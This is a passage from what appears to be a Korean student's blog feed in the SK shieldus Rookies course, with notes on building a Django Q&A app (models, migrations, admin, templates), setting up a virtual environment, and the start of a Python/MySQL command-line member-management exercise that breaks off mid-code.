<p>이 테이블들을 시각적으로 보기 위해서는 <a href="https://sqlitebrowser.org/dl/">DB Browser for SQLite</a>를 설치해야 한다.</p>
<br>

<h1 id="4-db-browser-for-sqlite-설치"><strong>4. DB Browser for SQLite 설치</strong></h1>
<p><img src="https://velog.velcdn.com/images/en_geon/post/666f9a88-548a-435c-86a1-63416a92de3b/image.png" alt="" title="DB Browser for SQLite"></p>
<p>설치는 기본 설정으로 설치하면 되는데 바로가기를 만드는 것을 추천한다. 바로가기가 없으면 설치 위차까지 찾아 들어가 실행해야 한다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/748ecdd7-13d7-44ee-91b6-239d5bc87e48/image.png" alt="" title="실행 후 DB 열기"></p>
<p>SQLite를 실행 장고 프로젝트 데이터베이스를 열어준다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f8be55b5-a469-41f0-b240-65ba0d5d2a4e/image.png" alt="" title="데이터베이스 실행"></p>
<p>migrate으로 테이블을 만든 것을 시각적으로 볼 수 있다.</p>
<br>

<h1 id="5-모델-생성"><strong>5. 모델 생성</strong></h1>
<blockquote>
<p><strong>데이터 정리하는 역할</strong></p>
</blockquote>
<br>

<pre><code class="language-py">from django.db import models

# 질문 모델 클래스를 정의
class Question(models.Model):
    # 질문 모델이 가지는 속성을 정의 
    subject = models.CharField(max_length=200)      # 글자 수 제한이 있는 데이터
    content = models.TextField()                    # 글자 수 제한이 없는 데이터
    create_date = models.DateTimeField()            # 날짜, 시간을 나타내는 데이터


# 답변 모델 클래스를 정의
class Answer(models.Model):
    # 답변 모델이 가지는 속성을 정의
    question = models.ForeignKey(Question, on_delete=models.CASCADE)
    content = models.TextField()
    create_date = models.DateTimeField()</code></pre>
<p>Primary Key(PK)는 개별 데이터를 구분하기 위해 중복이 되지 않는 유일한 데이터를 말한다.</p>
<p>직원이 있다면 4번 직원, 학생이라면 학번, 대한민국 국민이라면 주민등록번호로 생각해면 쉽다.</p>
<p>Foreign Key(FK)는 PK와 다른 테이블에 존재하는데 PK에 종속적이고 참조하는 테이블의 PK와 연결되어 있다.</p>
<p>PK가 있는 테이블에서 데이터가 삭제되면 FK가 있는 테이블의 데이터는 의미가 없기 때문에 함께 삭제된다.</p>
<p>위 코드의 question은 질문이 없으면 답변도 없을 것이고, 질문이 삭제되면 같이 삭제가 되어야 하기 때문에 어느 질문의 답변인지 알려줘야 한다. 그래서 FK를 사용해서 Question에 종속되도록 작성한다.</p>
<br>

<h1 id="6-pybo-앱-등록"><strong>6. pybo 앱 등록</strong></h1>
<blockquote>
<p><strong>config\settings.py에 pybo 등록</strong></p>
</blockquote>
<ul>
<li>INSTALLED_APPS에 &#39;pybo.apps.PyboConfig&#39;, 추가</li>
</ul>
<br>

<pre><code class="language-py">INSTALLED_APPS = [
    &#39;django.contrib.admin&#39;,
    &#39;django.contrib.auth&#39;,
    &#39;django.contrib.contenttypes&#39;,
    &#39;django.contrib.sessions&#39;,
    &#39;django.contrib.messages&#39;,
    &#39;django.contrib.staticfiles&#39;,
    &#39;pybo.apps.PyboConfig&#39;,                # 추가
]</code></pre>
<p>INSTALLED_APPS에 등록해 주어야 장고가 pybo 앱을 인식하고 데이터베이스 관련 작업을 수행할 수 있다.</p>
<p>앱을 등록했으니 테이블을 만들어 주어야 한다.</p>
<br>

<h2 id="1-migrate-명령으로-테이블-생성"><strong>1) migrate 명령으로 테이블 생성</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b51d3da2-9043-4682-a651-8375f236992f/image.png" alt="" title="migrate 오류"></p>
<p>모델이 변경되지 않았거나 migration 파일이 준비되지 않아서 나오는 오류다. </p>
<p>데이터베이스에 변화가 생기면 makemigrateion로 migrations 파일을 만들고 migrate을 해야 한다.</p>
<ul>
<li>makemigrations은 장고가 테이블 작업을 수행하기 위한 파일을 생성</li>
<li>migrate는 실제 테이블을 생성</li>
</ul>
<br>

<h2 id="2-makemigrations-후-migrate-수행"><strong>2) makemigrations 후 migrate 수행</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d4533cb7-f091-4cff-a484-395739099311/image.png" alt="" title="makemigrations 후 migrate"></p>
<ul>
<li>0001_initial.py를 적용한 내용을 보여준다.</li>
<li>0001_initial은 Question, Answer 모델은 만든 것이다.</li>
<li>migratinos 파일은 pybo\migrations 위치에 있다.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fddd2c44-8a52-4de5-8b32-322f2402f722/image.png" alt="" title="시각적으로 확인"></p>
<br>

<h1 id="7-데이터-생성-저장-조회-삭제"><strong>7. 데이터 생성, 저장, 조회, 삭제</strong></h1>
<h2 id="1-데이터-생성"><strong>1) 데이터 생성</strong></h2>
<blockquote>
<p><strong>장고 쉘을 통해 생성</strong></p>
</blockquote>
<ul>
<li>장고 실행에 필요한 환경들을 자동으로 설정해서 실행하는 쉘 (python shell과는 다름)</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/39731478-a1cd-4f2a-a2e9-ef5445815aa5/image.png" alt="" title="장고 쉘에서 생성"></p>
<blockquote>
<p>&gt;&gt;&gt; from pybo.models import Question, Answer<br>&gt;&gt;&gt; from django.utils import timezone<br>&gt;&gt;&gt; q = Question(subject=&#39;pybo가 무엇인가요?&#39;, content=&#39;pybo에 대해서 알려 주세요&#39;, create_date=timezone.now())<br>&gt;&gt;&gt; q.save()</p>
</blockquote>
<p>위와 같이 입력하면 SQLite에서 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/23d33940-08b9-428c-b1c5-48463afdd551/image.png" alt="" title="SQLite 확인"></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ef63a298-d2e3-4611-9036-98574a743701/image.png" alt="" title="제목, id 확인"></p>
<ul>
<li>id는 장고가 자동으로 넣어주는 필드</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/91d4362a-c06d-4d49-91ef-0971b59ba74f/image.png" alt="" title="Question 인스턴스를 하나 더 생성 저장"></p>
<blockquote>
<p>&gt;&gt;&gt; q = Question(subject=&#39;두 번째 질문입니다.&#39;, content=&#39;ID는 자동으로 생성되나요?&#39;, create_date=timezone.now())<br>&gt;&gt;&gt; q.save()<br>&gt;&gt;&gt; q.id</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/70931f3f-18f9-4974-b404-fdea5e137d5c/image.png" alt="" title="저장 확인"></p>
<br>

<h2 id="2-데이터-조회"><strong>2) 데이터 조회</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fa7f43c2-787d-46ef-9e73-271c78d28158/image.png" alt="" title="Question.objects.all()"></p>
<p>빨간색 박스 안에 있는 숫자는 위에서 말했듯이 장고가 Question 모델 데이터에 자동으로 입력한 ID 값이다.</p>
<br>

<h3 id="1-모델-데이터-조회-결과-출력-정보-변경"><strong>(1) 모델 데이터 조회 결과 출력 정보 변경</strong></h3>
<blockquote>
<p><strong>pybo\models.py</strong></p>
</blockquote>
<p>데이터를 조회하면 기본적으로 ID 출력되는 것을 봤다. ID를 출력하면 무슨 내용의 질문인지 알기 어렵다.</p>
<p>어떤 질문인지 일기 위해 제목이 출력되도록 변경을 한다.</p>
<br>

<pre><code class="language-py">from django.db import models

# 질문 모델 클래스를 정의
class Question(models.Model) :
    # 질문 모델이 가지는 속성을 정의 
    subject = models.CharField(max_length = 200)    #CharField - 글자 수 제한 
    content = models.TextField()                    # 글자 수 제한 없는 데이터
    create_date = models.DateTimeField()            # 날짜, 시간을 나타내는 데이터

    def __str__(self) :                             # 제목을 반환
        return self.subject

# 답변 모델 클래스를 정의
class Answer(models.Model) :
    # 답변 모델이 가지는 속성을 정의
    question = models.ForeignKey(Question, on_delete = models.CASCADE)  
    content = models.TextField()
    create_date = models.DateTimeField()</code></pre>
<ul>
<li>def __str__(self) : 정의</li>
</ul>
<p>위 코드를 저장한 후 장고 쉘에 재 접속 후 데이터를 조회하면 제목으로 나오는 것을 확인할 수 있다.  </p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/886078f1-5901-4391-800e-ce33435bbcd6/image.png" alt="" title="다시 조회"></p>
<p>all()은 해당하는 객체 데이터에 전체 내용을 가져오는 것이다.</p>
<br>

<h3 id="2-조건과-일치하는-모델-데이터-조회"><strong>(2) 조건과 일치하는 모델 데이터 조회</strong></h3>
<blockquote>
<p><strong>filter, get 사용</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b3342579-b824-4963-98a1-d8e193306a51/image.png" alt="" title="조회"></p>
<ul>
<li>Question.objects.filter(id=1)<ul>
<li>조건에 해당하는 데이터를 모두 찾아서 QuerySet 형태로 리턴</li>
</ul>
</li>
<li>rs = Question.objects.fillter(id=100)<ul>
<li>조건을 만족하는 결과가 없는 경우 빈 QuerySet을 리턴</li>
</ul>
</li>
<li>Question.objects.get(id=1)<ul>
<li>조건에 해당하는 데이터 중 하나만 해당 객체 타입으로 리턴</li>
</ul>
</li>
<li>rs = Question.objects.get(id=100)<ul>
<li>조건을 만족하는 결과가 없는 경우 오류 발생</li>
</ul>
</li>
</ul>
<br>

<h3 id="3-일부-내용을-포함하는-데이터-조회"><strong>(3) 일부 내용을 포함하는 데이터 조회</strong></h3>
<blockquote>
<p><strong>__contains</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/d49e793e-c7f7-42ca-bbf4-ada860b3d205/image.png" alt="" title="비교"></p>
<ul>
<li>__contains를 사용하지 않으면 일치하는 것을 조회</li>
<li>__contains를 사용하면 SQL의 LIKE 연산과 동일하게 동작</li>
</ul>
<br>

<h2 id="3-모델-데이터-수정"><strong>3) 모델 데이터 수정</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0c505bc5-5ad2-44f1-9c16-80b6ab3c780d/image.png" alt="" title="조회 수정"></p>
<ul>
<li>수정 대상 조회 (get, filter)</li>
<li>q.subject = &#39;What is pybo?&#39;<ul>
<li>객체 필터의 데이터를 변경</li>
</ul>
</li>
<li>save 함수를 이용해서 DB에 반영</li>
</ul>
<br>

<h2 id="4-모델-데이터-삭제"><strong>4) 모델 데이터 삭제</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/9ae2dae9-5a54-4ce6-aa0c-d986bf3053d7/image.png" alt="" title="삭제"></p>
<ul>
<li>delete 메서드를 호출하면 DB에도 즉시 반영 (save를 하지 않아도 됨)</li>
<li>save와 delete는 DB에 반영하는 함수</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8e1d574b-11c9-412c-859f-2225721e1cb6/image.png" alt="" title="삭제"></p>
<br>

<h1 id="8-연결된-데이터-처리"><strong>8. 연결된 데이터 처리</strong></h1>
<h2 id="1-answer-모델-데이터-생성"><strong>1) Answer 모델 데이터 생성</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ebf2728b-af41-4799-934a-f00e98ce151e/image.png" alt="" title="Answer 데이터"></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/aeb9f229-755c-44ea-9f4c-b450559730d9/image.png" alt="" title="Answer 데이터"></p>
<p>종속관계가 있으면 참조하는 대상을 만들어서 매개변수로 넣어주면 된다.</p>
<br>

<h2 id="2-answer에-연결된-question-조회"><strong>2) Answer에 연결된 Question 조회</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/6c800c2b-55ee-4294-b041-5500edeabe34/image.png" alt="" title="조회"></p>
<p>답변에는 그 답변에 대한 질문이 연결되어 있기 때문에 답변을 가져오면 연결된 질문도 가져올 수 있다.</p>
<br>

<h2 id="3-question에-연결된-answer-조회"><strong>3) Question에 연결된 Answer 조회</strong></h2>
<ul>
<li><strong>연결되어 있는 모델명_set 형식으로 참조</strong></li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0fcd95c7-0cd2-44d0-8ec3-c8ec88a99dca/image.png" alt="" title="조회"></p>
<p>질문에 연결된 답변울 가져올 때는 all()을 사용한다.</p>
<p>질문과 답변은 1 : N의 관계이기 때문에 질문 하나에 여러 답변이 있을 수가 있기 때문이다. </p>
<br>

<h1 id="9-장고-admin"><strong>9. 장고 admin</strong></h1>
<h2 id="1-슈퍼-유저-생성"><strong>1) 슈퍼 유저 생성</strong></h2>
<blockquote>
<p><strong>createsuperuser</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8f50e643-71ef-4677-b474-0f521f28db4c/image.png" alt="" title="admin 생성"></p>
<h2 id="2-admin-페이지-접속"><strong>2) admin 페이지 접속</strong></h2>
<blockquote>
<p> <strong>http:/<hi></hi>/localhost:8000/admin/</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/69179218-a24b-4708-8d68-75a01fc4442f/image.png" alt="" title="로그인 페이지"></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/06508b43-fb92-4a0f-8e0d-79b106ddbc30/image.png" alt="" title="로그인 접속"></p>
<br>

<h2 id="3-question-answer-모델을-admin-페이지에-등록"><strong>3) Question, Answer 모델을 admin 페이지에 등록</strong></h2>
<blockquote>
<p><strong>장고 admin을 통해서 모델 관리 가능</strong></p>
</blockquote>
<h3 id="1-pyboadminpy"><strong>(1) pybo\admin.py</strong></h3>
<pre><code class="language-py">from django.contrib import admin
from .models import Question

admin.site.register(Question)</code></pre>
<p>위 파일에 코드를 저장 후 admin 페이지 리로드</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/2cd3c1b8-e486-418f-9e47-6ce2cc1aa9ae/image.png" alt="" title="Questions 추가"></p>
<br>

<h3 id="2-questions-조회"><strong>(2) Questions 조회</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8107cdb2-c19b-4563-8321-b80d48d75118/image.png" alt="" title="Questions 화면"></p>
<br>

<h3 id="3-add-question"><strong>(3) Add question</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/00520c9e-7955-45cc-b6dd-906b2f35ec5c/image.png" alt="" title="데이터 입력 후 저장"></p>
<br>

<h3 id="4-저장된-데이터-조회"><strong>(4) 저장된 데이터 조회</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/69f636c9-2ee8-41ca-a439-de01bc8d6995/image.png" alt="" title="조회"></p>
<br>

<h2 id="4-관리자-페이지에-검색-기능-추가"><strong>4) 관리자 페이지에 검색 기능 추가</strong></h2>
<blockquote>
<p><strong>pybo\admin.py에 추가</strong></p>
</blockquote>
<pre><code class="language-py">from django.contrib import admin
from .models import Question

class QuestionAdmin(admin.ModelAdmin):
    search_fields = [&#39;subject&#39;]

admin.site.register(Question, QuestionAdmin)</code></pre>
<p><img src="https://velog.velcdn.com/images/en_geon/post/537b5bdb-5b4b-46cd-924f-e5a1ec32470e/image.png" alt="" title="검색 기능"></p>
<br>

<h1 id="10-사용자-화면-중-질문-목록-조회-기능-구현"><strong>10. 사용자 화면 중 질문 목록 조회 기능 구현</strong></h1>
<blockquote>
<p><strong>pybo\views.py</strong><br><strong>question_list.html</strong></p>
</blockquote>
<h2 id="1-question-모델-데이터를-작성일자-역순으로-조회"><strong>1) Question 모델 데이터를 작성일자 역순으로 조회</strong></h2>
<blockquote>
<p><strong>pybo\viesw.py에 추가</strong></p>
</blockquote>
<pre><code class="language-py">from django.shortcuts import render
from .models import Question

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39; : question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)</code></pre>
<p>여기서 html로 직접 구현한다면 코드가 너무 복잡해져 가독성이 떨어지게 된다.</p>
<p>데이터와 보여주는 형식을 분리시키면 가독성과 유지보수가 좋아진다.</p>
<br>

<h2 id="2-템플릿-생성"><strong>2) 템플릿 생성</strong></h2>
<blockquote>
<p><strong>c:\python\projects\mysite\templates\pybo\question_list.html</strong></p>
</blockquote>
<pre><code class="language-html">{% if question_list %}
    &lt;ul&gt;
        {% for question in question_list %}
            &lt;li&gt;&lt;a href=&quot;/pybo/{{ question.id }}/&quot;&gt;{{ question.subject }}&lt;/a&gt;&lt;/li&gt;
        {% endfor %}
    &lt;/ul&gt;
{% else %}
    &lt;p&gt;질문이 없습니다.&lt;/p&gt;
{% endif %}</code></pre>
<br>

<h2 id="3-configsettingspy-파일에-템플릿-디렉터-추가"><strong>3) config\settings.py 파일에 템플릿 디렉터 추가</strong></h2>
<pre><code class="language-py">TEMPLATES = [
    {
        &#39;BACKEND&#39;: &#39;django.template.backends.django.DjangoTemplates&#39;,
        &#39;DIRS&#39;: [ BASE_DIR / &#39;templates&#39; ],
        &#39;APP_DIRS&#39;: True,
        &#39;OPTIONS&#39;: {
            &#39;context_processors&#39;: [
                &#39;django.template.context_processors.debug&#39;,
                &#39;django.template.context_processors.request&#39;,
                &#39;django.contrib.auth.context_processors.auth&#39;,
                &#39;django.contrib.messages.context_processors.messages&#39;,
            ],
        },
    },
]</code></pre>
<ul>
<li>DIRS에 BASE_DIR / &#39;templates&#39; 추가</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/53e7d56d-e5c8-40a4-af15-89ba171369c5/image.png" alt="" title="pybo 화면"></p>
<p>기존에는 요청이 들어오면 view에서 그 문자열을 리턴했다. </p>
<p>지금은 요정이 들어오면 view에서 Question 가지고 DB에 저장되어 있는 패지 해 온다.</p>
<p>이 패치해 온 데이터를 그냥 리턴할 수도 있지만 보기 좋게 만들려고 한다면 Template를 사용해야 한다.</p>
<p>가져온 데이터를 지정된 Template에 전달해 Template에서 형식에 맞게 정리해서 리턴한다.</p>
<p>Template 문법을 사용하려면 Template 디렉터리가 Settings에 등록을 해야 한다. 그다음 그 디렉터리 아래에 정리해 줄 HTML 파일을 만들어 줘야 한다.</p>
<p>이 HTML 파일은 그냥 HTML 파일이 아니고 HTML + 정리해 주는 문법이 결합되어 있는데 이것을 Template 언어라고 한다.</p>
<p>여기까지는 기본적인 흐름을 구현할 수 있을 정도로 공부했다고 할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][Django] - 실습 환경 구성]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-%EC%8B%A4%EC%8A%B5-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-%EC%8B%A4%EC%8A%B5-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%84%B1</guid>
            <pubDate>Tue, 19 Mar 2024 17:15:05 GMT</pubDate>
            <description><![CDATA[<h1 id="1-django"><strong>1. Django</strong></h1>
<blockquote>
<p>보안이 우수하고 유지보수가 편리한 웹사이트를 신속하게 개발하도록 도움을 주는 파이썬 웹 프레임워크</p>
</blockquote>
<p>Django는 다음과 같은 소프웨어를 개발하는데 도움을 준다.</p>
<br>

<h2 id="1-complete완결성"><strong>1). Complete(완결성)</strong></h2>
<ul>
<li>&quot;Batteries included&quot;의 철학을 기반으로 개발자들이 개발하고 싶은 거의 모든 것을 개발하는데 도움을 줌</li>
</ul>
<br>

<h2 id="2-versatile다용도"><strong>2) Versatile(다용도)</strong></h2>
<ul>
<li>문서관리시스템과 Wiki, SNS, 뉴스에 이르기까지 다양한 종류의 웹 사이트를 빌드하는 데 사용</li>
<li>클라이언트측 프레임워크와 협업할 수 있음</li>
<li>HTML, RSS 피드, JSON, XML 등 대부분의 형식으로 콘텐츠 전송할 수 있음</li>
</ul>
<br>

<h2 id="3-secure안전"><strong>3) Secure(안전)</strong></h2>
<ul>
<li>개발할 때 실수하기 쉽지만 고려해야 하는 보안 문제에 대해서 많은 도움을 줌</li>
<li>유저의 계정과 비밀번호를 관리하는 안전한 방법을 제공</li>
<li>SQL 인젝션, XSS, CSRF, 클릭 하이재킹과 같은 보안 취약점을 보완할 방법 제공</li>
</ul>
<br>

<h2 id="4-maintainable유지보수"><strong>4) Maintainable(유지보수)</strong></h2>
<ul>
<li>유지보수가 쉽고 재사용하기 좋게끔 하는 디자인 원칙들과 패턴들을 이용하여 작성</li>
<li>불필요한 중복이 없고 많은 양의 코드를 줄임</li>
</ul>
<br>

<h2 id="5-portable포터블"><strong>5) Portable(포터블)</strong></h2>
<ul>
<li>장고는 파이썬으로 작성되어 특정한 서버 플랫폼에 얽매이지 않음</li>
<li>다양한 운영체제에서 작동살 수 있음</li>
<li>웹 호스팅 공급자들에 의해서 지원되고 있음</li>
</ul>
<br>

<h1 id="2-실습-환경-구성"><strong>2. 실습 환경 구성</strong></h1>
<h2 id="1-가상-환경-생성"><strong>1) 가상 환경 생성</strong></h2>
<ul>
<li>cmd에서 python폴더 아래에 가상 환경을 만들어 준다.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f4088014-46a8-482a-b529-28eb231a11c4/image.png" alt="" title="파이썬 폴더로 이동"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/9043be57-8259-451a-b111-fb542b242dfc/image.png" alt="" title="mysite 가상 환경 이름"></p>
<br>

<h2 id="2-가상-환경-진입"><strong>2) 가상 환경 진입</strong></h2>
<ul>
<li>python\mysite\Scripts\activate</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/493562ab-44b1-4dc1-86b3-92c880d3a8b6/image.png" alt="" title="가상 환갱 실행"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/30f7b7ed-f629-464d-8fc1-b96de4ee2b97/image.png" alt="" title="가상환경에서 작업하는 것을 의미"></p>
<p>cmd에서 pip list를 입력하면 이전에 설치한 패키지들이 있다. 하지만 가상 환경에서는 아무것도 나오지 않는 것을 볼 수 있다. cmd와는 다른 환경이라는 것을 알 수 있는 것이다.</p>
<br>

<h2 id="3-가상-환경-벗어나기"><strong>3) 가상 환경 벗어나기</strong></h2>
<ul>
<li>deactivate</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ecddbffe-fefa-41f4-b41f-4416ef32c7eb/image.png" alt="" title="deactivate"></p>
<br>

<h1 id="3-장고-프로젝트-생성"><strong>3. 장고 프로젝트 생성</strong></h1>
<h2 id="1-프로젝트-디렉터리-생성"><strong>1) 프로젝트 디렉터리 생성</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/4f07a3d7-86be-4d2d-bf8f-7e12aaaf6078/image.png" alt="" title="프로젝트 디렉터리"></p>
<br>

<h2 id="2-장고-패키지-설치"><strong>2) 장고 패키지 설치</strong></h2>
<ul>
<li>c:\python\mysite\Scripts\activate로 가상 환경 진입 후 장고 패키지 설치</li>
<li>pip install django==3.1.3</li>
</ul>
<p><img src="https://velog.velcdn.com/images/en_geon/post/4f4f15f0-628f-4b0d-a18e-a05b0480d4f9/image.png" alt="" title="django 설치"></p>
<p>설치 완료 확인 후 pip list로 설치가 되었는지 확인해 보면 된다.</p>
<br>

<h2 id="3-장고-프로젝트-생성-1"><strong>3) 장고 프로젝트 생성</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/fe712579-6a44-4844-b30b-6aae1154ade9/image.png" alt="" title="setuptools 설치"></p>
<p>python 3.11 버전에서 기본적으로 포함되어 있는 setuuptools인데 3.12 버전에서 삭제되어 설치한다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/c9e8b94c-53a9-4c08-8f5c-9e17e60a0446/image.png" alt="" title="프로젝트 디렉터리로 만들라는 의미"></p>
<ul>
<li>현재 디렉터리를 프로젝트 디렉터리로 만들라는 의미</li>
</ul>
<p>code . 을 입력해 VS Code를 실행하면 해당 폴더로 VS Code가 켜진다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][Python, SQL] - 실습 3]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Python-%EC%8B%A4%EC%8A%B5-3</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Python-%EC%8B%A4%EC%8A%B5-3</guid>
            <pubDate>Tue, 19 Mar 2024 15:30:49 GMT</pubDate>
            <description><![CDATA[<h1 id="1-cli-기반의-crud-프로그램"><strong>1. CLI 기반의 CRUD 프로그램</strong></h1>
<br>

<blockquote>
<p>출력 예시  </p>
<p>==========================<br>메뉴<br>--------------------------<br>Q : 종료         ⇒ 프로그램을 종료<br>I : 등록           ⇒ 등록 화면으로 이동<br>S : 검색          ⇒ 검색 화면으로 이동<br>==========================<br>메뉴를 선택하세요 &gt;&gt;&gt;<br><br></p>
</blockquote>
<blockquote>
<p>==========================<br>회원 등록<br>--------------------------<br>이름 : 홍길동<br>나이 : 23<br>이메일 : <a href="mailto:hong@test.com">hong@test.com</a><br>==========================<br>Y : 등록 / N : 취소  </p>
<p>Y → members 테이블에 입력한 내용을 저장 → 등록했습니다. 출력 후 메뉴 화면으로 이동<br>N → 메뉴 화면으로 이동<br><br></p>
</blockquote>
<blockquote>
<p>==========================<br>회원 검색<br>--------------------------<br>이름 : 길동<br>==========================<br>Y : 검색 / N : 취소  </p>
<p>Y → members 테이블에 like 검색 → 검색 결과 화면으로 이동<br>N → 메뉴 화면으로 이동<br><br></p>
</blockquote>
<blockquote>
<p>==========================<br>회원 검색 결과 (OO건)<br>--------------------------<br>1 : 홍길동                     ⇐ 검색 결과를 회원아이디 : 회원이름 형식으로 나열<br>2 : 고길동                         검색 결과가 없는 경우 &quot;일치하는 결과 없음&quot; 출력<br>3 : 신길동<br>==========================<br>번호 : 상세 조회 / N : 취소  </p>
<p>번호(회원 아이디) → 회원 상세 조회 화면으로 이동<br>N → 메뉴 화면으로 이동<br><br></p>
</blockquote>
<blockquote>
<p>==========================<br>회원 상세 조회<br>--------------------------<br>아이디 : 1<br>이름 : 홍길동<br>나이 : 23<br>이메일 : <a href="mailto:hong@test.com">hong@test.com</a><br>==========================<br>U : 수정 D : 삭제 / Y : 메뉴로 이동  </p>
<p>D → 해당 회원 삭제 후 &quot;삭제했습니다&quot; 메시지를 출력하고 메뉴 화면으로 이동<br>U → 수정 화면으로 이동<br>N → 메뉴 화면으로 이동<br><br></p>
</blockquote>
<blockquote>
<p>==========================<br>회원 수정<br>--------------------------<br>아이디 : 1                                ⇐ 회원 정보를 보여주고,<br>이름 : 홍길동<br>나이 : 23<br>이메일 : <a href="mailto:hong@test.com">hong@test.com</a><br>==========================<br>나이 : 43<br>이메일 : <a href="mailto:gildong@test.com">gildong@test.com</a><br>수정할까요? (Y : 수정 / N : 메뉴로 이동)  </p>
<p>Y → 나이와 이메일을 입력받아서 수정 후 &quot;수정했습니다.&quot; 메시지를 출력하고<br>메뉴 화면으로 이동<br>N → 메뉴 화면으로 이동<br>   
 <br>회원 등록 및 수정 시 이름, 나이, 이메일의 형식을 정규식을 이용해서 검증 후 등록, 수정 처리해야 함  </p>
</blockquote>
<p>위 출력 예시처럼 구현되는 프로그램을 작성하는 실습이다. </p>
<p>이 프로그램을 시작했을 때는 막막했다. 어떻게 작성해야 하는지 몰랐지만 하나하나 코드가 지나가는 순서대로 짚어보면서 이해하려고 노력했다. 내 방식대로 최대한 이해하는데 1.5일 정도 걸린 것 같다.</p>
<p>실습은 코드로 대체한다.</p>
<br>

<h1 id="2-실습-코드"><strong>2. 실습 코드</strong></h1>
<br>

<pre><code class="language-py">import pymysql
import re

def print_double_line() :
    print(f&#39;{&#39;=&#39; * 26}&#39;)

def print_single_line() :
    print(f&quot;{&#39;-&#39; * 26}&quot;)

def print_title(title) :
    print()
    print_double_line()
    print(title)
    print_single_line()

def ans_check(message, user_input) :
    while True:
        i = input(message).upper()
        if i in user_input :
            return i
        else:
            print(&quot;잘못된 입력입니다. 확인 후 다시 입력해 주세요.&quot;)

def print_main_menu():
    print_title(&#39;메뉴&#39;)
    print(&#39;I : 회원 등록&#39;)
    print(&#39;S : 회원 검색&#39;)
    print(&#39;Q : 종료&#39;)
    print_double_line()

def main() :
    print_main_menu()

    menu = ans_check(&#39;메뉴를 입력하세요 : &#39;, (&quot;I&quot;, &quot;S&quot;, &quot;Q&quot;))
    if menu == &#39;I&#39; :
        add_member()
    elif menu == &#39;S&#39; :
        search_member()
    else :
        print(&quot;종료합니다.&quot;)

def add_name_check(name):
    return bool(re.match(&#39;^[가-힣]+$&#39;, name))

def add_age_check(age) :
    return bool(re.match(r&#39;^([1-9]|[1-9][0-9]|1[0-4][0-9]|150)$&#39;, age))

def add_email_check(email) :
    return bool(re.match(r&#39;^[a-zA-Z0-9_]+@[a-zA-Z0-9]+\.[a-zA-Z]{2,}$&#39;, email))

def input_check(message, pattern_name) :    
    while True :
        user_input = input(message)
        if pattern_name(user_input) :
            return user_input
        else :
            print(&quot;입력이 잘못되었습니다. 다시 입력하세요&quot;)


def add_member():
    print_title(&#39;회원 등록&#39;)

    name = input_check(&quot;이름 : &quot;, add_name_check)
    age = input_check(&quot;나이 : &quot;, add_age_check)
    email = input_check(&#39;이메일 : &#39;, add_email_check)

    print_single_line()

    YN = ans_check(&#39;등록하시겠습니까? (Y : 등록 / N : 취소) :&#39;, (&#39;Y&#39;, &quot;N&quot;))
    if YN == &#39;Y&#39; :
        query = &quot;INSERT INTO members (member_name, member_age, member_email) values (%s, %s, %s)&quot;

        try:
            with pymysql.connect(host=&quot;localhost&quot;, port=3306, user=&quot;springboot&quot;, passwd=&quot;qwert12345&quot;,
                                db=&quot;sampledb&quot;, cursorclass=pymysql.cursors.DictCursor) as conn:

                curr = conn.cursor()
                count = curr.execute(query, (name, age, email))
                if count == 1:
                    print(&quot;회원 정보를 정상적으로 등록했습니다.&quot;)
                    conn.commit()
                    yn = ans_check(&#39;추가 등록하시겠습니까? (Y : 등록 / N : 메인 메뉴) :&#39;, (&#39;Y&#39;, &quot;N&quot;))
                    if yn == &#39;Y&#39; :
